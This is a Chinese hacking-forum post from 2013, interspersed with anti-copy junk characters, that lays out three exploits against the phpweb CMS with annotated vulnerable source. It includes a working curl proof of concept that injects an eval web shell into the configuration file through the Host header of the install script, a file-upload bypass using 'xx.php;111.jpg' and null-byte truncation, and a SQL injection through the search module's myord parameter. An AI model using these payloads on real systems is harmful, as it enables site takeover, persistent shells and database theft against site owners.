找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2857|回复: 0
打印 上一主题 下一主题

phpweb成品网站最新版(注入、上传、写shell)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:45:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
注入:
& S) i; a8 g  \# y1 h- W) W% L  z# m* g, q9 e1 ]5 E* Q3 W
之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码- V) [5 j( m+ [# B

" S0 p  S$ o) p6 ?) \% s  ?鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件
) x6 N" C+ l4 R鸡肋2: 有一定安全常识的站长都会删掉 install 目录
  c& W7 Y( `4 \3 ~3 b6 W3 H % l& F2 {$ T& ]2 [
虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响
# M5 }! M9 f  A# c
  a+ ^5 U+ `: x7 L% X分析:
$ M$ y' E5 J$ ?3 l8 A% V' N
+ G  @4 Y6 m3 A9 v  U/ F
0 u! Z% j+ B  f- j7 |$siteurl="http://".$_SERVER["HTTP_HOST"]."/";    //未过滤
/ F( L( g' h, d9 H9 y! R  t& h
0 ^) I! B' a7 |* n4 T0 W4 k: W% K6 s                                            $filestr = fread(fopen($SysConfigFile, 'r'),30000);
! r9 Q5 r5 E  N& n                                            $filestr=str_replace(" ","",$filestr);
' @! h7 ~# L8 k0 [( C                                            $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);, g9 Z8 v) n% [. Y& t5 W( w
                                            $filestr=str_replace("DefaultDbName",$dbname,$filestr);
, e1 d% Q2 k0 ?3 \: h9 F$ S                                            $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);+ q) p* V- Q: U
                                            $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);
# l7 \5 ?; x3 u# I8 e& {% ^                                            $filestr=str_replace("DefaultsLan","zh_cn",$filestr);
7 X) r" p# g4 f1 d, _# v  v                                            $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);5 `! P. f7 V! E1 x5 Q# t
                                            $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);
, t; Z7 n, y' H
& r% e/ n: |2 F# w; R                                            fwrite(fopen($ConFile,"w"),$filestr,30000);
- X3 v- t% u+ ^5 P3 j! Y$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^
' C% m) y1 e. R& k3 | ; H9 @+ e& n% a- F; `9 K
poc:
+ i/ r4 Q% O9 Y& f' @ 5 N0 L: v0 j, c
?0 L; x/ H- }6 K. O+ H8 T6 e
1
/ g, p# i- Q- N2 U+ v6 w6 ]curl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"
  X6 [: Z5 W+ i0 x/ @/ L1 g( `9 X( Zshell地址: /config.inc.php
. q+ n5 r" X! J1 G: v跟之前的 phpcms一样 需要远程数据库+ X5 @: X0 z6 T0 P# |3 b
- {5 e( i7 u5 z6 t- R
——————————————————–2 V: C3 N4 {3 G* y- x
上传漏洞(需要进后台):/ K4 D- h) S$ s
漏洞文件: /kedit/upload_cgi/upload.php$ J1 u+ p2 W7 K9 o
这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用. @, M1 E' T1 P0 F4 x) J: Q/ x! \
, J0 f8 h" ?" v7 d" C4 }8 N/ h

) x& I, L1 P- f. Q- J/ ^/ @<?php
* z* L: g8 N/ j    define("ROOTPATH", "../../");
% M& [. ?# o, S1 j  R3 Y: T* i$ Z    include(ROOTPATH."includes/admin.inc.php");
) J) k" ~% \" k    NeedAuth(0);
( k4 p( J# a! M8 i
3 B$ F! L* A! l# w    $dt=date("Ymd",time());
* @7 ~, Q6 t- j: w% x5 C' M4 w! F- r    if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){, G1 [+ L& X# @$ L3 U2 H% j. Q- j/ ~
            @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);. ], i9 G2 ?' f# h' {
    }. B3 `" ?4 ]/ I0 X6 a( n% L3 o0 R

& h" R! R+ R* _) w9 r) p' O    //文件保存目录路径7 W) r5 x" i3 P( b9 L# O
    $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';) _0 _+ D  S- ?0 J9 f7 H; q, ]% ~" U
    echo $save_path;
/ U3 T+ O7 `+ E) w# s( G4 h    //文件保存目录URL3 p! ?0 b* f6 [
    $save_url = '../../'.$_POST['attachPath'].$dt.'/';
( o! }& b7 q; r
4 b/ d6 l  c/ [- [2 G- r& u( t    //定义允许上传的文件扩展名6 \. t1 [# L5 M3 J( \: T
    $ext_arr = array('gif','jpg','png','bmp'); //限制后缀
: r1 a0 I* z+ R7 K! a. ~. j! s
: N" ~, ]/ k# v; }' g9 \" i    //最大文件大小2 c$ L+ P  t8 S0 H9 H  F) |) R( I
    $max_size = 1000000;5 T5 F# E' e% m( C4 c6 w! o, Y- Q1 Y
, m$ H  E- J. h" m
    //更改目录权限+ ^' N$ K) g6 H) R. U% \
    @mkdir($save_path, 0777);
2 @5 o9 E: a+ z5 O
! v1 \; j  K% u, l    //文件的全部路径
( p. D9 v5 l4 w0 m) W! Y0 [' W, t* V    $file_path = $save_path.$_POST['fileName'];   //保存文件名
8 D  N3 N0 B/ x
9 L4 j# _: M7 J; c2 S4 L    //文件URL$ \4 w. M) Y9 b5 B
    $file_url = $save_url.$_POST['fileName'];. |2 T  f2 I5 V  h: j' i4 }
//有上传文件时
$ E' j) p3 p7 t  D/ @  R3 ]8 q    if (empty($_FILES) === false) {2 I) F! i  H1 Z) ~
" @  w- l9 w. L
            //原文件名8 C( H+ V9 `( d- V
            $file_name = $_FILES['fileData']['name'];
" P' H$ v1 V' X            //服务器上临时文件名
. E; ^8 O0 Q- `$ @8 w            $tmp_name = $_FILES['fileData']['tmp_name'];
% U: _8 m; a  Z            //文件大小6 I9 ^) D, ~3 F: [$ k: P
            $file_size = $_FILES['fileData']['size'];
2 Q! ^4 f- D4 o9 i2 K. K) d' S, w            //检查目录% u+ z# L3 f! t- J, k
            if (@is_dir($save_path) === false) {
, b5 a  _" [% i1 ]                    alert("上传目录不存在。");
+ K; U; ?) F' H            }: {- D  c5 i& A$ r4 y
            //检查目录写权限) L! P3 e  z) x0 F% x
            if (@is_writable($save_path) === false) {
8 v2 B+ y: U9 s; @% i; W                    alert("上传目录没有写权限。");' o% P# h5 r% F- Q1 [
            }. H# z! K# x" f  k) c3 e- |
            //检查是否已上传
6 }3 J' u% R2 f4 `, |8 C            if (@is_uploaded_file($tmp_name) === false) {
- s, n5 B6 [+ V                    alert("临时文件可能不是上传文件。");
% J: `2 Y. @( {: T( f$ l            }+ i8 s$ X6 t' Y' W# q* J
            //检查文件大小
' N$ w  L1 ^, |* w5 O            if ($file_size > $max_size) {$ I: b" {. Y" T" S% N$ _
                    alert("上传文件大小超过限制。");1 I7 }( h- f. ]' Q. S# c& a4 d
            }
1 \" t: `" i, T2 {: t( i$ j            //获得文件扩展名* G3 V7 W; x3 C7 z4 K* J6 M% @
            $temp_arr = explode(".", $_POST['fileName']);# P" S1 ^  ?2 [6 b0 \
            $file_ext = array_pop($temp_arr);+ H4 J. P* Y6 m9 C3 A
            $file_ext = trim($file_ext);- `  m: X1 j: F7 j. @  {* j9 v
            $file_ext = strtolower($file_ext);% F* I1 g% b: r
: _# r3 H) P" r2 I# E$ J7 P, L- U' I- m
            //检查扩展名   ) o, Y9 ^5 o; j( _$ b2 O8 V
            if (in_array($file_ext, $ext_arr) === false) {     6 O; |+ Q7 ]: k4 g" \1 K: d! Q
                    alert("上传文件扩展名是不允许的扩展名。");- o8 H1 _; b+ x. {. K$ ?  h2 R
            }" t5 p# l% ]7 p" ]* l/ }

" N( P2 p9 X& {) b: R+ W) l/ v            //移动文件   
: p- e/ Y2 c$ O2 J8 F1 P            //未重命名 虽然过滤了 后缀   iis 6解析漏洞 ^ _ ^
- e. L2 S! \* f& v9 Z% }) a; l            if (move_uploaded_file($tmp_name, $file_path) === false) {
+ [. `$ q9 ?# T                    alert("上传文件失败。");; H3 D* ]/ `* c+ H, G( Z( q' U0 ~% }
            }
% s9 G: g# ^6 X* P: N5 `+ Z% a$ |+ Q 9 v6 [6 U% w7 s& f4 O
            @chmod($file_path,0666);  e! h7 ~# \! z' t* E! g! l2 ~
9 d; Z: f1 q5 |* x! _% s* v3 H
    ?>; B' F* P. b- k8 K: m
抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227' A9 r/ o$ v6 `0 k5 Y
7 W0 h' ~. w5 Y
apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过
' U; m0 L  g, w: i
7 p+ g/ p6 d1 H7 d# J2 l( V- z——————————————————
% x8 s& K, r* k: P3 T; i+ V5 R* H注入漏洞:
+ L* J7 E; Y2 ~漏洞文件:search/module/search.php0 ^, Y+ l4 A+ }" K
/search/index.php?key=1&myord=1 [sqlinjection]- d3 o$ v. {" @7 y/ q- b& y
! k& _8 |9 r2 T0 S* k. _8 |+ G
7 L, |% B9 \6 ]3 W3 z' N0 W
<?php
: `1 [; {* C3 V4 ^  W* w   //       ... 省略 n 行...' _( b7 i9 E- \2 N. J4 v6 @% x
   //第18行:
$ n) a8 n7 j4 W# _. @* R           $key=htmlspecialchars($_GET["key"]);   //只是简单的将字符HTML 实体 编码   , mysql 注入不受此影响' q4 y0 l( ]1 F$ j  [# |
           $page=htmlspecialchars($_GET["page"]);9 n& C: W- M- ?  i$ d
           $myord=htmlspecialchars($_GET["myord"]);. S5 W1 y. q% g  V& Q: b$ D, C/ A% Z

3 m  O$ x8 y. X' s   //       ... 省略 n 行...
3 l& f0 Y9 Y4 n% A1 w   $key,$myord 两个参数带入查询9 w, S! {* Q0 c. Y4 A
   //第47行 $key:0 j7 r% N9 B- b% U' B) I9 m2 v

- V* @: W# _8 g% O5 S- ^9 w: c. M   $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')");  //虽然带入查询 但使用的 是regexp 不知如何绕过..
7 W% Y% s6 j' l: L * K1 d: m# E! q* T4 X# Y$ D, o, l
   //第197行 $myord
; A* c: O1 z9 V   $fsql->query($scl . " order by $myord desc limit $pagelimit ");    产生注入
% {: ]6 h8 {+ v8 ~8 ~   [5 y. m( M+ w  |' {+ D9 K9 n
   ?>
( ~; n$ w: a7 R  J  H2 _. \$ e+ z
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表